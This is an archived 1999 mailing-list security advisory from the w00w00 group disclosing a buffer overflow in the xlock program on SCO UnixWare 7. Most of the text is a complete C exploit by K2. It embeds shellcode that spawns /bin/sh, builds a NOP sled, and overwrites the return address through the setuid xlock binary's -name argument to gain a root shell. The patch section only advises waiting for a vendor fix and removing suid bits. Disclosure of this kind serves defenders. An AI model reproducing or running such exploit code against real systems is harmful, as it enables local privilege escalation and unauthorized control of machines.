[w00giving '99 #7]: UnixWare 7's xlock

From: Matt Conover (shokat_private)
Date: Thu Nov 25 1999 - 17:30:43 PST

  • Next message: Simple Nomad: "Re: Operational Issues: Applications & Appliances (was: Buffer"

    w00w00 Security Development (WSD)
    http://www.w00w00.org/advisories.html
    
    Discovered by: K2 (ktwoat_private)
    
    The xlock command on SCO's UnixWare 7 has improper bounds checking on the
    username passed (via argv[1]), which can cause a buffer overflow when
    a lengthy username is passed.
    
    -----------------------------------------------------------------------------
    Exploit (by K2):
    
    // UnixWare7 /usr/bin/xlock local, K2, revisited Oct-30-1999
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    char shell[] =
     "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
     "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
     "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
     "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
     "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
     "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
    
    #define SIZE 1200
    #define NOPDEF 601
    #define DEFOFF -400
    
    const char x86_nop=0x90;
    long nop=NOPDEF,esp;
    long offset=DEFOFF;
    char buffer[SIZE];
    
    long get_esp() { __asm__("movl %esp,%eax"); }
    
    int main (int argc, char *argv[])
    {
        register int i;
    
        if (argc > 1) offset += strtol(argv[1], NULL, 0);
        if (argc > 2) nop += strtoul(argv[2], NULL, 0);
        esp = get_esp();
    
        memset(buffer, x86_nop, SIZE);
        memcpy(buffer+nop, shell, strlen(shell));
    
        for (i = nop+strlen(shell); i < SIZE-4; i += 4)
            *((int *) &buffer[i]) = esp+offset;
    
        printf("jmp = [0x%x]\toffset = [%d]\n",esp+offset,offset);
        execl("/usr/X/bin/xlock", "xlock", "-name", buffer, NULL);
    
        printf("exec failed!\n");
        return 0;
    }
    
    -----------------------------------------------------------------------------
    Patch:
    
    As stated in the previous advisory, wait for SCO to release a patch.
    Because of the /var/sadm permissions vulnerability we published earlier
    hasn't been fixed yet, be sure you take off suid privileges on the backed
    up binary! =)
    -----------------------------------------------------------------------------
    
    Hellos to the usuals
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:14:13 PDT